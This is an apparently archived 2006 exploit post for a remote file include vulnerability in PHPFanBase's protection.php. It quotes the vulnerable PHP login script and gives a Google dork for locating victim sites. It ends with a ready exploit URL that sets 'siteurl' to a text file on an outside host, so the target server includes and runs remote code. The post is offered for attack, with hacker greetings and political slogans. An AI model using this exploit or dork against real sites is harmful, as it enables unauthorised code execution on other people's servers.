PHPFanBase 2.x (protection.php) Remote File Include Vulnerability

2006-12-19T00:00:00
ID 1337DAY-ID-1273
Type zdt
Reporter Cold Zero
Modified 2006-12-19T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =================================================================
PHPFanBase 2.x (protection.php) Remote File Include Vulnerability
=================================================================




--------------------------------------||    Viva Palestine     ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien  ||-----------------------------------------


PHPFanBase (protection.php) Remote File Include Vulnerability

Found By  :  CoLd Zero  [ Wasem898 ]

######################################################
#
#            PHPFanBase ]All[
#
# Class:     Remote File Include Vulnerability
# Published  2006-12-19
# Remote:    Yes
# Type:      Dangerous
# Site:      http://codegrrl.com/!/scripts/
#
# Author:    Cold Zero
# Dork: Powered By PHPFanBase
######################################################

File :

/protection.php

===========================

<?


$user_passwords = array (

       "$admin_username" => "$admin_password"  );

// This is the page to show when the user has been logged out
$logout_page = "$siteurl";

// Page with login form
$login_page = "login.php";

// Page to show if the user enters an invalid login name or password
$invalidlogin_page = "invalidlogin.php";


//DON'T EDIT ANYTHING BELOW THIS!!!

if ($action == "logout")
{
       Setcookie("logincookie[pwd]","",time() -86400);
       Setcookie("logincookie[user]","",time() - 86400);
       include($logout_page);
       exit;
}
else if ($action == "login")
{
       if (($loginname == "") || ($password == ""))
       {
               include($invalidlogin_page);
               exit;
       }
       else if (strcmp($user_passwords[$loginname],$password) == 0)
       {
               Setcookie("logincookie[pwd]",$password,time() + 86400);
               Setcookie("logincookie[user]",$loginname,time() + 86400);
       }
       else
       {
               include($invalidlogin_page);
               exit;
       }
}
else
{
       if (($logincookie[pwd] == "") || ($logincookie[user] == ""))
       {
               include($login_page);
               exit;
       }
       else if
(strcmp($user_passwords[$logincookie[user]],$logincookie[pwd]) =
= 0)
       {
               Setcookie("logincookie[pwd]",$logincookie[pwd],time() +
86400);
               Setcookie("logincookie[user]",$logincookie[user],time() +
86400)
;
       }
       else
       {
               include($invalidlogin_page);
               exit;
       }
}


===========================

Exploit :

Http://www.Victem.0/[PaTH]/protection.php?action=logout&siteurl=http://4azhar.com/soft.txt?


======================================================

----  GreeTz: [MoHaNdKo]  [Cold One]  [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [[email protected]] [Snake12][Root Shell]
             [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[  Everyone I know




#  0day.today [2018-03-19]  #